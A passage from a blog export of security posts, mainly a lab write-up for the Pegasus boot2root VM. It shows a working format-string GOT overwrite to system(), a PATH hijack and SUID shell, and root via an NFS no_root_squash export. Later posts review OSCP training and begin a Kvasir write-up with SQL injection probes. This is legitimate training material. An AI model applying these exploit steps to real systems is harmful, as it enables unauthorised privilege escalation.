snip ...] +  printf(\u0026#34;Enter second number: \u0026#34;); if (fgets(numberB, sizeof numberB, stdin) != NULL) { - int numA = strtol(numberA, \u0026amp;err_check, 10);  int numB = strtol(numberB, \u0026amp;err_check, 10); if (*err_check != \u0026#39;\\n\u0026#39;) { - printf(\u0026#34;Error details: \u0026#34;); - printf(err_check); + printf(\u0026#34;Error details: %s\u0026#34;, err_check);  printf(\u0026#34;\\n\u0026#34;); return 1; [... snip ...] printf(err_check); is the potentially vulnerable call\u0026hellip; I think.\nthe calculator with a hole After toying with the git repository, my attention turned back to the SUID binary. When I run my_first, I am actually running it as john. This means, should I be able to exploit it and do things other than what its intended for, I may affectively gain john\u0026rsquo;s privileges! Sounds easy right. :P\nI quickly realized that the main.c file I got out of the git repository, was the sources for the my_first binary. So, my focus shifted to the piece of code I saw the security fix for.\nFirst, it was time to confirm my suspicion of a format string vulnerability:\nmike@pegasus:~$ ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: 1 Enter first number: 1 Enter second number: %x Error details: bf96cbec Selection: I don’t like format string vulnerabilities. In fact not at all. I was hoping for something else and at this stage, I was happy I found the bug (which was the code before the security fixes btw), but sad that its a format string.\nAnyways, feels aside, it was time to work on a exploit.\nFor the format string exploit, I don\u0026rsquo;t think its really worth explaining all the details again. In fact, compiling this exploit, I was referring to a older blogpost about Xerxes2 which also had a similar thing going. Feel free to check the binary section out there if the next part does not make much sense.\nEDIT I have since made a small asciinema showing the offset calculations on my Kali VM. Though the offsets are not the same the theory still applies. punching more than numbers So here, I had a pretty big freaking fail. A massive one. Once I had determined the stack position to start corrupting memory with, I was punching in the format strings in the application itself. Meaning, I was giving it the ASCII \\x\\x\\x\\x and not the actual bytes as would have been the case if I was using python/printf to redirect the stdout of them to my_first\u0026rsquo;s stdin. Anyways, lessons were learnt, caffeine was injected. It wont happen again. Big up to @barrebas for subtly pointing the fail out ;p\nAs I had seen the source code, it was easy to formulate a plan for the exploit. I would make use of a ret2libc attack by overriding the GOT entry for printf() using the format string to system() instead. This means, the next time printf() is called, it would actually execute system() with the adjacent argument on the stack. Lets see how this was done.\ncompiling the format string We know that the 2nd number that the applications wants triggers our format string. So, lets prepare some skeleton input, piping it to the ./my_first binary to sample a successful run:\nmike@pegasus:~$ printf \u0026#39;1\\n1\\n1\\n4\\n\u0026#39; | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Result: 1 + 1 = 2 Selection: Goodbye! Cool, so we have sampled adding 1 to 1 ;p Now we can get to exploiting the format string. The first step we have is to determine which parameter on the stack we have control of. We determine this by providing it with a string of 4 A\u0026rsquo;s, and then incrementing the format string arguments by 1 until we can find the 4 A\u0026rsquo;s. In my case, I will be formatting them as hex with %x, so I am searching for 41414141. The format string will therefore start as AAAA.0x%s. Note that in the below example we are using 2 x percentages (2 x \u0026lsquo;%') as it needs to be escaped in the shell:\nmike@pegasus:~$ printf \u0026#39;1\\n1\\nAAAA.0x%%x\\n4\\n\u0026#39; | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: AAAA.0xbff5321c Selection: Goodbye! And we have the output of AAAA.0xbff5321c. Yay :) Continuously incrementing this will eventually get you to argument 8, where you will find the clean string of hex A\u0026rsquo;s:\nmike@pegasus:~$ printf \u0026#39;1\\n1\\nAAAA.0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x\\n4\\n\u0026#39; | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: AAAA.0xbfbd145c0xa0xb75b41600xb7726ac00xb7752ff40xb77539180xbfbd14600x41414141 Selection: Goodbye! mike@pegasus:~$ So, using direct parameter access in the format string, we can reference parameter 8 directly:\nmike@pegasus:~$ printf \u0026#39;1\\n1\\nAAAA.0x%%8$x\\n4\\n\u0026#39; | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: AAAA.0x41414141 Selection: Goodbye! mike@pegasus:~$ Parameter 8 in the format string is the start of the section on the stack we can read now, shown in the output AAAA.0x41414141 of the format string AAAA.0x%8$x.\nNow we will move on to making use of the %n format string to write to a arbitrary area in memory. Where do we want to write? To the GOT where the lookup for printf() occurs ofc! Lets dump the GOT for ./my_first, and determine where it will go look for printf():\nmike@pegasus:~$ objdump -R ./my_first ./my_first: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049bec R_386_GLOB_DAT __gmon_start__ 08049c20 R_386_COPY stdin 08049bfc R_386_JUMP_SLOT printf 08049c00 R_386_JUMP_SLOT fgets 08049c04 R_386_JUMP_SLOT puts 08049c08 R_386_JUMP_SLOT __gmon_start__ 08049c0c R_386_JUMP_SLOT __libc_start_main 08049c10 R_386_JUMP_SLOT putchar 08049c14 R_386_JUMP_SLOT strtol The location of printf() will be looked up at 08049bfc. This is the part where we want to rewrite the address of printf() to that of libc\u0026rsquo;s system().\nThe last part we need is to know where system() actually is. An important vector that may influence this position in memory is known as ASLR, which will effectively cause the address of system() to be different every time ./my_first is run. To combat this, a neat little trick to increase the stack size can be used using ulimit. ulimit -s unlimited will maximize the stack size, effectively causing the ASLR to be practically nonexistent:\nmike@pegasus:~$ ulimit -s 8192 mike@pegasus:~$ ulimit -s unlimited mike@pegasus:~$ ulimit -s unlimited With the ASLR problem out of the way, lets leak the address of system():\n# fire up gdb mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. # set a break point as we enter main() (gdb) b main Breakpoint 1 at 0x804850f # run the binary (gdb) r Starting program: /home/mike/my_first Breakpoint 1, 0x0804850f in main () # leak the current address of system() (gdb) p system $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0x40069060 \u0026lt;system\u0026gt; (gdb) And so we learn that system() lives at 0x40069060. What does this all mean so far then? Well, we are now going to use the format string vulnerability to write (using %n) a new address for printf() in the GOT at 08049bfc to point to system() at 0x40069060 instead of its real location.\nFor us to debug the application while we prepare the required padding for the format string, we will use the printf() used to pipe to ./my_first to redirect to a file instead. Then, in gdb, we will run the binary, redirecting the input from the file we will compile with the printf():\n# so, instead of the 4 x A\u0026#39;s, we will now place the address # in the GOT that we want to override, and use the %x format # string to attempt writing to it mike@pegasus:~$ printf \u0026#39;1\\n1\\n\\xfc\\x9b\\x04\\x08%%8$n\u0026#39; \u0026gt; t mike@pegasus:~$ file t t: data # then, in gdb, we will grab the output of the new file called # t, and redirect it as input to my_first mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. # leak the current address that GOT points to for printf() (gdb) x/x 0x08049bfc 0x8049bfc \u0026lt;printf@got.plt\u0026gt;: 0x080483b6 # run the binary with our exploit (t) as input (gdb) r \u0026lt; t Starting program: /home/mike/my_first \u0026lt; t WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ��\u0004 Program received signal SIGSEGV, Segmentation fault. 0x00000004 in ?? () # inspect the new address the GOT points to for printf() (gdb) x/x 0x08049bfc 0x8049bfc \u0026lt;printf@got.plt\u0026gt;: 0x00000004 (gdb) This is working exactly as expected. Now all that is left is to pad the format string so that we can have the address 0x40069060 instead of 0x00000004 written. For the math etc involved, refer to the Xerxes2 post I previously mentioned. The resultant format string was \\xfc\\x9b\\x04\\x08\\xfe\\x9b\\x04\\x08%%36952u%%8$n%%44966u%%9$n, with a run in the debugger ending in:\n# prep the input file mike@pegasus:~$ printf \u0026#39;1\\n1\\n\\xfc\\x9b\\x04\\x08\\xfe\\x9b\\x04\\x08%%36952u%%8$n%%44966u%%9$n\u0026#39; \u0026gt; t mike@pegasus:~$ # run it in the debugger (gdb) r \u0026lt;t The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mike/my_first \u0026lt;t WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ���� [... snip ...] sh: 1: Selection:: not found Program received signal SIGSEGV, Segmentation fault. 0x08c3f98c in ?? () # check where the GOT points to for printf() (gdb) x/x 0x08049bfc 0x8049bfc \u0026lt;printf@got.plt\u0026gt;: 0x40069060 # confirm system() is still there :) (gdb) p system $1 = {\u0026lt;text variable, no debug info\u0026gt;} 0x40069060 \u0026lt;system\u0026gt; The binary crashes with sh: 1: Selection:: not found, meaning that it is now trying to run system(\u0026quot;Selection:\u0026quot;) instead of printf(\u0026quot;Selection:\u0026quot;) due to the GOT override.\nfinishing the exploit From here the exploit is pretty easy. We can use some $PATH trickery in our current shell to get Selection: to actually mean something, like prepare a small SUID C shell perhaps? :)\nI quickly compiled some C wrapper code to prepare a shell and ran the exploit.\n# Prep Selection: to make a SUID shell for john # and modify PATH mike@pegasus:~$ cat tojohn.c #include \u0026lt;stdio.h\u0026gt; int main() { system(\u0026#34;cp /bin/sh /tmp/tojohn\u0026#34;); system(\u0026#34;chmod 4777 /tmp/tojohn\u0026#34;); } mike@pegasus:~$ gcc tojohn.c -o \u0026#34;Selection:\u0026#34; mike@pegasus:~$ export PATH=/home/mike/:$PATH # run the exploit... mike@pegasus:~$ printf \u0026#39;1\\n1\\n\\xfc\\x9b\\x04\\x08\\xfe\\x9b\\x04\\x08%%36952u%%8$n%%44966u%%9$n\u0026#39; | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ���� 10 Segmentation fault (core dumped) # ... and check /tmp mike@pegasus:~$ ls -lah /tmp/ total 108K drwxrwxrwt 2 root root 4.0K Dec 23 23:17 . drwxr-xr-x 22 root root 4.0K Nov 19 02:58 .. -rwsrwxrwx 1 john mike 98K Dec 23 23:17 tojohn mike@pegasus:~$ We have a new file tojohn in /tmp :D\nmike@pegasus:~$ /tmp/tojohn $ id uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike) hoofing (rooting) Pegasus I added the public key of the keypair I generated for Pegasus to john\u0026rsquo;s authorized_keys file and proceeded to SSH in as him.\nQuick enumeration showed that mike is allowed to start the nfs daemon via sudo:\njohn@pegasus:~$ sudo -l Matching Defaults entries for john on this host: env_reset, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User john may run the following commands on this host: (root) NOPASSWD: /usr/local/sbin/nfs john@pegasus:~$ sudo nfs Usage: nfs [start|stop] john@pegasus:~$ sudo nfs start * Exporting directories for NFS kernel daemon... [ OK ] * Starting NFS kernel daemon [ OK ] john@pegasus:~$ I checked out the /etc/exports file, and noticed the the no_root_squash flag for the /opt/nfs export. This is most certainly the way to root Pegasus as nfs will not go and nobody my files :)\nSo, I mounted the share\u0026hellip;\nroot@kali:~# mkdir nfs root@kali:~# mount 192.168.56.101:/opt/nfs nfs \u0026hellip; prepped a SUID shell \u0026hellip;\nroot@kali:~/Desktop/pegasus/nfs# cat shell.c #include \u0026lt;stdio.h\u0026gt; int main() { setuid(0); setgid(0); system(\u0026#34;/bin/sh\u0026#34;); } root@kali:~/Desktop/pegasus/nfs# gcc shell.c -o shell root@kali:~/Desktop/pegasus/nfs# chmod 4777 shell root@kali:~/Desktop/pegasus/nfs# ls -lah total 20K drwxr-xr-x 2 root root 4.0K Dec 23 14:39 . drwxr-xr-x 3 root root 4.0K Dec 23 14:32 .. -rwsrwxrwx 1 root root 5.0K Dec 23 14:39 shell -rw-r--r-- 1 root root 79 Dec 23 14:39 shell.c \u0026hellip; and rooted Pegasus :)\njohn@pegasus:~$ /opt/nfs/shell # id uid=0(root) gid=0(root) groups=0(root),1000(john) flag :) # cat /root/flag , |`\\ /\u0026#39;_/_ ,\u0026#39;_/\\_/\\_ , ,\u0026#39;_/\\\u0026#39;_\\_,/_ ,\u0026#39;| ,\u0026#39;_/\\_\u0026#39;_ \\_ \\_/ _,-\u0026#39;_/ ,\u0026#39;_/\u0026#39;\\_\u0026#39;_ \\_ \\\u0026#39;_,\\ _,-\u0026#39;_,-/ \\, Pegasus is one of the best ,\u0026#39; /_\\ _\u0026#39;_ \\_ \\\u0026#39;_,/ __,-\u0026#39;\u0026lt;_,\u0026#39; _,\\_,/ known creatures in Greek ( (\u0026#39; )\\/(_ \\_ \\\u0026#39;_,\\ __--\u0026#39; _,-_/_,-\u0026#39;,_/ _\\ mythology. He is a winged \\_`\\\u0026gt; 6` 7 \\\u0026#39;_,/ ,-\u0026#39; _,-,\u0026#39;\\,_\u0026#39;_ \\,_/\u0026#39;_,\\ stallion usually depicted \\/- _/ 7 \u0026#39;/ _,\u0026#39; _/\u0026#39;\\_ \\,_\u0026#39;_ \\_ \\\u0026#39;_,/ as pure white in color. \\_\u0026#39;/\u0026gt; 7\u0026#39;_/\u0026#39; _/\u0026#39; \\_ \u0026#39;\\,_\u0026#39;_ \\_ \\\u0026#39;_,\\ Symbol of wisdom and fame. \u0026gt;/ _ ,V ,\u0026lt; \\__ \u0026#39;\\,_\u0026#39;_ \\_ \\\u0026#39;_,/ /\u0026#39;_ ( )_)\\/-,\u0026#39;,__ \u0026#39;\\,_\u0026#39;_,\\_,\\\u0026#39;_\\ Fun fact: Pegasus was also ( ) \\_ \\|_ `\\_ \\_,/\u0026#39;\\,_\u0026#39;_,/\u0026#39; a video game system sold in \\\\_ \\_\\_) `\\_ Poland, Serbia and Bosnia. \\_) \u0026gt; `\\_ It was a hardware clone of / `, |`\\_ the Nintendo Famicom. / \\ / \\ `\\ / __/| / / `\\ (` ( (` (_ \\ / / ,/ | / / \\ / ,/ | / \\ `\\_ _/_/ |/ /__/,_/ /_( /_( CONGRATULATIONS! You made it :) Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you learnt a thing or two while doing it! :) Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and providing first review. Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode and leave some feedback, I would love to hear from you! Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for more awesome boot2root VMs! Thanks for the fun @TheKnapsy\n","permalink":"https://leonjza.github.io/blog/2014/12/23/hoof-to-root-solving-pegasus-1/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.vulnhub.com/entry/pegasus-1,109/\"\u003ePegasus 1\u003c/a\u003e is a boot2root hosted on \u003ca href=\"https://www.vulnhub.com/\"\u003eVulnHub\u003c/a\u003e built by \u003ca href=\"https://twitter.com/theknapsy\"\u003e@TheKnapsy\u003c/a\u003e. He wrote a \u003ca href=\"http://knapsy.github.io/blog/2014/12/16/pegasus-has-arrived-my-first-boot2root-vm/\"\u003eblogpost\u003c/a\u003e about it too containing a small introduction with Pegasus as his first boot2root (hoof2root? ;p).\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/pegasus_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eHaving recently played in the \u003ca href=\"https://leonjza.github.io/blog/2014/12/06/playing-in-the-playground-a-offsec-virtual-pentesting-labs-review/\"\u003eOffsec Playground\u003c/a\u003e a little after having completed my OSCP, I was relatively exhausted. Pegasus had its fair share of frustrations and had me digging around quite a bit. I did however learn a very valuable lesson\u0026hellip; \u003cem\u003eagain\u003c/em\u003e. You will see this in the \u003cstrong\u003emy_first\u003c/strong\u003e section.\u003c/p\u003e\n\u003cp\u003eLike many other write ups I do, I will also recommend you try this one first before you read on. For me, Pegasus was definitely slightly more difficult than the usual VulnHub stuff you would see, but part of that may just as well be due to fatigue and that year end holiday mode ;p. However, that should not discourage you to give it a bash anyways!\u003c/p\u003e\n\u003cp\u003eLets begin.\u003c/p\u003e","title":"hoof to root solving pegasus 1"},{"content":"As you may know, I recently completed the Penetration testing with Kali Linux training and obtained OSCP certification. It was an amazing experience and really taught me more than just \u0026ldquo;hacking stuff\u0026rdquo;. Instead, the training came coupled with self discipline and endurance. By day I make a living in the IT security field, by night, I tinker, research and learn!\nWith PWK over, not long after that, I was privileged enough to be presented with a opportunity to beta test a new product that Offensive Security is planning to launch around January 2015 referred to as\u0026hellip;\nThe Playground\n  meet the playground From the offsec website, The Playground is described as a safe virtual network environment designed to be attacked and penetrated as a means of learning and sharpening your penetration testing skills.\nI was still pretty fresh post-PWK and decided to use the Kali VM I used, for The Playground. The setup was pretty much the same as PWK. Get a VPN connectivity pack and gain access to the lab. There is also a dashboard that you gain access to that allows you to revert machines as required, along with functionality to \u0026ldquo;proof\u0026rdquo; you pwnd it by submitting file content found on a host. For each machine you hack, you gain a set amount of points (actually only one point at the time I was testing but I believe this will be different values when released).\nthe challenges I won\u0026rsquo;t be going into any details about what you will face in the labs. The feature page mentions \u0026ldquo;Citrix environments, Windows Active Directory Domains, SCADA networks, IPS systems and corporate Antivirus solutions\u0026rdquo;. All I can do here is nod =). There are quite a vast number of machines waiting for you to explore and learn.\nWhat I will say though is that my experience with this can be summarized as [PWK + 1]. That is PWK plus 1. You will get to use everything you learned in PWK, in The Playground, plus more. Your technical expertise, your endurance, as well as your discipline. There are some challenges that are easy for sure and they do a great job at building your confidence. However there are challenges that are going to push you and quite possibly open new worlds to you to learn new things.\nThe only real advice I can give is: Try Harder.\nthe not so great One thing about these labs that are a pain is the fact that they are shared. You will be busy testing a sploit, when the next thing you know, a machine gets reverted. While this doesn\u0026rsquo;t mean the bug you found is fixed, it may mean you have to rebuild that initial shell. The product page mentions that there may be dedicated hosted labs for corporations which I hope may alleviate this frustration a bit.\nsummary The Playground will quite possibly go a great job at satisfying your craving to dig/learn/explore! I won\u0026rsquo;t say you need to have done PWK before to be able to play in The Playground, no. But, its not bad experience to bring along with you.\nAs for me, I have not completed The Playground. In fact, I will most definitely make a plan to get more lab time once its available! Most importantly though, thanks to @g0tmi1k for the opportunity as well as the offsec team for their role putting the whole thing together!\nhack2learn!\n","permalink":"https://leonjza.github.io/blog/2014/12/06/playing-in-the-playground-a-offsec-virtual-pentesting-labs-review/","summary":"\u003cp\u003eAs you may know, I recently completed the Penetration testing with Kali Linux training and obtained OSCP certification. It was an amazing experience and really taught me more than just \u003cem\u003e\u0026ldquo;hacking stuff\u0026rdquo;\u003c/em\u003e. Instead, the training came coupled with self discipline and endurance. By day I make a living in the IT security field, by night, I tinker, research and learn!\u003c/p\u003e\n\u003cp\u003eWith PWK over, not long after that, I was privileged enough to be presented with a opportunity to beta test a new product that \u003ca href=\"http://www.offensive-security.com/\"\u003eOffensive Security\u003c/a\u003e is planning to launch around January 2015 referred to as\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eThe Playground\u003c/em\u003e\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/playground_logo.png\"/\u003e \n\u003c/figure\u003e","title":"playing in the playground a offsec virtual pentesting labs review"},{"content":"  As I am writing this post, it\u0026rsquo;s the \u0026ldquo;morning after\u0026rdquo; I have received the much awaited email confirming that I have successfully completed the OSCP Certification requirements!\nIn order to obtain OSCP Certification, one must complete some time in the Penetration Testing with Kali Linux labs followed by a grueling 24 hour exam challenge.\nOne really big realization that I came to was the fact that one should not attempt to do this if your goal is simply to get the OSCP Certification. Doing PWK is a excellent opportunity to learn and rushing it may cause you to not make it in the exam.\nBelow is a summary of my experience obtaining OSCP.\npreperation Taking OSCP was something I wanted to do for quite some time. I have read a number of blogs and experiences from people that have done it, and the most important take from all of that was the amount of time it took. Considering I had a full time job, it was hard for me to gauge exactly how much lab time I would have needed. So, I decided on getting 3 months to start off with.\nI also found a syllabus online to get an idea about what is covered in the training and prepared myself mentally for what lies ahead.\nWith the payments and logistics out of the way, I was scheduled to start 8 Aug \u0026lsquo;14.\nfirst impressions On the morning of 8 Aug I receive a email with all of the course material and VPN details. I quickly sifted through the videos and pdf materials and decided to have a early look at the lab machines. My very first reaction was \u0026ldquo;Where the heck do I start?\u0026rdquo;. Everything was a little bit of a information overflow, and there is no clear \u0026ldquo;do this, then this, then this.\u0026rdquo;. One is given a overview of what is required from a documentation perspective, but that is about it.\nIt was clear that I needed a plan of action. After some time, I decided to watch the videos thoroughly and after that, work through the PDF. The PDF detailed a whole bunch of exercises that had to be completed and documented too.\nOne of the more important points to make here was the fact that 2 reports are required in the end. The exam report is of course compulsory but the lab report is optional. However, should you struggle to meet the requirements for the exam challenge, it may be possible to gain some points from your lab report. Of course, if you did not provide one, that chance you have is out the door. With that in mind, I decided to leave the exercises to later when I start to compile the actual lab report and jump right into the labs. In retrospect, I wish I decided to do the exercises first as there were some key elements taught to gear you for the labs.\nmeeting the PWK labs The machines in the lab were of varying difficulty for me. Some of them were almost a little too easy to pwn, while others were way more of a challenge. You are faced with a public network, and ultimately have to gain access to the admin network that is nested deeper in. Using some pivoting techniques, the admin network was definitely the most fun for me.\nI learnt a few hard lessons here though. My initial approach was to start at one IP, and work my way through trying to pwn them. Once I reached a machine I could not crack, I decided to move on. This worked ok for a while, until I came to a point where I was not able to progress any further. I had to go back and loot the machines I had already pwnd, and that lead to learning more about the surrounding networks and their vulnerabilities.\nAlmost all of the lab machines are vulnerable to \u0026ldquo;known\u0026rdquo; vulnerabilities. This is not 0day training. However. What I really appreciated about the PWK labs was the fact that even though the vulnerabilities are known, in many cases you have to take proof of concept exploits, and modify them to actually fit your current environment and situation. There are not a lot of push button, get bacon scenarios, and quite a few exploits require you to actually understand the vulnerability and be able to bend it to suit your needs. This is where the requirement to be able to script/code a little comes from.\n  Offensive Security have a mantra that many know. Try Harder. This is the classic response a student gets when asking for hints/help. It is probably the worst answer you can get when you have been bashing away at something for such a long time, but also the most rewarding when you finally get it.\npwning lab machines to prepare for the exam Many of the lab machines have vulnerabilities that have Metasploit modules. You can easily try the push button, get bacon technique on them. But, it is important to note that in the exam, you will be restricted to what you can use. In fact, there are very clear Metasploit restrictions. From not being allowed to use Metasploit at all, to only being allowed to use certain features of the meterpreter shell. With this in mind, I will always highly recommend you attempt to exploit as much as possible in the labs without the use of Metasploit.\nNot being allowed to use Metasploit for me personally was not really such a big deal. Having practiced quite a lot in the labs to not use Metasploit, it was easy to find PoC exploits and modify them as required. I did make a lot of use of msfpayload to generate shellcode, but other than that, plain bind/netcat shells were in the order of the day.\nlast days of the PWK lab My Lab time was scheduled to end 8 nov 2014. I have spent easily about 4-6 hours a night (where possible) in the labs with even more time on the weekends. With about a week left, I turned my focus to the 3 harder machines in the labs, known as pain, sufferance and humble. These 3 machines definitely were the hardest of the bunch, but I managed to pwn them too. By 7 Nov, I had successfully managed to pwn all of the lab machines and had the first version of my Lab report done.\nIt was time to book the exam.\nOSCP Exam I managed to secure 19 November @11am as the date I was going to attempt the OSCP Certification Challenge. This actually worked out great for me, as it gave me enough time to catch up on some lost sleep, as well as polish the lab report I was going to send in with my Exam report.\nYeah, I am probably going to need this later tomorrow morning. pic.twitter.com/8rcQ7YNwIS\n\u0026mdash; _leon_jacobs(💥) (@leonjza) November 19, 2014  The day before the exam, I stocked up on some energy drinks and made sure I get a good nights sleep while trying to keep my mind off the exam until it was time.\nThe morning of the exam I was not able to keep the excitement in any longer, and I was up at 8am already getting ready for the challenge. My playlist was ready to jam, distractions such as Skype, Steam, Twitter and IRC were all closed, when finally my email with Exam instructions arrived.\nThe exam instructions outlined exactly how much points each machine you have to pwn is worth, as well as all the restrictions that apply to each machine. You also have 23hours 45minutes before your exam VPN will expire, whereafter you have another 24hours to submit your documentation. There are 100 points obtainable in the exam, of which you have to get 70 to pass.\nWithin about 5hours, I had secured roughly 50 points. From there, things were going a lot slower. 10 hours in, I went up to 60 points. At about 2am the next morning, the fatigue was playing a massive role and I decided to go take a power nap. I set the alarm for 3am. Of course, I didn\u0026rsquo;t actually sleep, but just letting your body lie down and rest while you ponder about what your next move will be proved to help a lot.\nAt about 6am that morning, I was up to 80 points. This is technically already enough to pass (assuming I did not make a mistake and break a rule), but I wanted to try get all of the points I could possibly get. Fast forward to about 9am that morning, I decided to call it and start getting a rough draft of the exam report ready. I wanted to make sure I had all of the screenshots and console output I needed before the VPN expired.\nthe reports At exactly 1045 that morning, the VPN dropped and the challenge was over. I now had 24 hours to submit the report. Considering I have been up for about 28 hours now (with a 1hour power nap), I thought it best to actually get some sleep and finish the report off afterwards.\nAfter about 6 hours of ZZZ\u0026rsquo;s, I had a proper dinner and sat down to complete the exam report. The Lab report took me almost 2 weeks to complete, but the exam is nowhere near as much work and was definitely doable in 24hours. 10pm that evening I submitted both of my reports and went straight to bed :D\ncertification Almost exactly 24 hours later, I get the confirmation email that I have passed:\n  Dem feels were good :D\noscp faq I had quite a number of questions before I started the PWK training. So, let me try and answer a few for others that may have similar questions:\nq: I am not really in a Security Role now, will this be helpful? a: Yes! I am convinced you will learn about things you maybe never even realized was possible. In fact. Not will you learn about common security flaws, you will have the expertise to identify and exploit them as well.\nq: Is scripting/development experience really required? a: I\u0026rsquo;d definitely say yes. To narrow it down, I would say that you don\u0026rsquo;t necessarily have to have some mad ninja l33t dev skillz, but hacking away and debugging existing code (be it C/C++, Python or Perl) to make it work your way is definitely a need.\nq: How much time would I need to set aside for this? a: Lots! PWK almost literally ate me up. I was not doing anything else apart from this. I had the odd break for a evening or two, but every chance I had I spent on the labs. Considering I had a full time day job, 3 months was perfect, but I think it may totally be possible to nail it in 1 month assuming you have the free time.\nq: Ok, I got the material, where the heck do I start? a: Now that I have completed the training, I would suggest you watch the videos. Then, work through the PDF documentation (actually doing the exercises) while you prepare your report. Finally start hacking away in the labs.\nq: How hard were the Lab machines? a: That is a really hard question to answer. If you have never ever seen any of this stuff before, you may be in for a lot of learning and may have quite a rough time in the beginning. The toughness I\u0026rsquo;d say is almost entirely relative to your existing experience. But, its not impossible to learn learn learn! :)\nq: Seriously now, how hard was the exam? a: For me? It was hard. Not necessarily just from a technical perspective, but also the time limitation, the rules, the fatigue, the everything! However, I feel the PWK labs are sufficient in gearing you towards it. You won\u0026rsquo;t see the same exploits in the exam as you saw in the lab. So, make sure you understand the fundamental concepts in the labs and you will be fine in the exam!\nq: Anything else? a: TRY HARDER.\n","permalink":"https://leonjza.github.io/blog/2014/11/22/trying-harder-oscp-and-me/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/oscp_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eAs I am writing this post, it\u0026rsquo;s the \u0026ldquo;morning after\u0026rdquo; I have received the much awaited email confirming that I have successfully completed the OSCP Certification requirements!\u003c/p\u003e\n\u003cp\u003eIn order to obtain OSCP Certification, one must complete some time in the Penetration Testing with Kali Linux labs followed by a grueling 24 hour exam challenge.\u003c/p\u003e\n\u003cp\u003eOne really big realization that I came to was the fact that one should not attempt to do this if your goal is simply to get the OSCP Certification. Doing PWK is a excellent opportunity to learn and rushing it may cause you to not make it in the exam.\u003c/p\u003e\n\u003cp\u003eBelow is a summary of my experience obtaining OSCP.\u003c/p\u003e","title":"trying harder oscp and me"},{"content":"introduction Kvasir, a boot2root by @_RastaMouse has to be one of my most favorite boot2roots to date, if not the most favorite. Favorite however does not mean it was easy. It also proved to be one of the most challenging ones I have had the chance to try!\n  Kvasir is extremely well polished, and it can be seen throughout the VM that @_RastaMouse has gone through a lot of effort to make every challenge as rewarding as possible. From exploiting simple web based vulnerabilities to service misconfigurations, traffic sniffing, steganography, forensics and cryptopraphy, Kvasir has it all! Solving it also had me make really heavy use of good old netcat.\nThis writeup details the path I took to read the final flag :)\na usual start Before we start off though, I feel its important to touch base on tunneling techniques used. All of the tunneling was done either via netcat, or via a SSH socks proxy. The socks proxies were accessed using proxychains, and I was editing /etc/proxychains.conf to match the port of the proxy I needed to use to reach my desired destination.\nWith that out the way, lets start. Almost all of the boot2roots have a discovery phase. After downloading the archive from vulnhub.com, I ran a ping scan in the subnet that my host-only network lives in. It returned with no results, and I realized there may already be more to this than anticipated. I engaged lazy mode™ and checked what the VirtualBox session showed the IP was:\n  192.168.56.102. Sweet, throwing nmap at it showed only tcp/80 as open.\nroot@kali:~# nmap 192.168.56.102 Starting Nmap 6.46 ( http://nmap.org ) at 2014-11-09 11:07 SAST Nmap scan report for 192.168.56.102 Host is up (0.000061s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:CF:5D:57 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds fink ur gud enuf? Browsing to the IP using Iceweasel, we see a login portal presented to us:\n  I made a few attempts at guessing a login, and eventually just threw a ' at the username field:\n  I had a instant troll alert and figured it can\u0026rsquo;t be that easy!? Changing the username payload from ' to ' OR 1=1 LIMIT 1-- with a random word as a password, resulted in the application returning a 403 type response. I figured that something strange was going on here, and fired up Burp Suite to have a look under the hood at what is happening. As seen in the web browser, the web server really does respond with a HTTP 403:\n  Moving on to the register page. Registration required a username and password, as well as a date of birth. I registered bob:bob with a DoB of 09/09/09, and attempted to login with the credentials:\n  Not a very useful web application so far, but nonetheless, I figured there is something I am not seeing yet. I went back to the registration page and attempted some SQLi payloads there. The form definitely seemed vulnerable to SQLi, and I managed to uncover a part of the backend query as 'a', 'a', 0, NULL). Considering this was a new account registration page, my guess was that this was part of a INSERT query:\n  It was about at this time where that thing called real life started to interfere and drive my attention away from Kvasir. While working, I 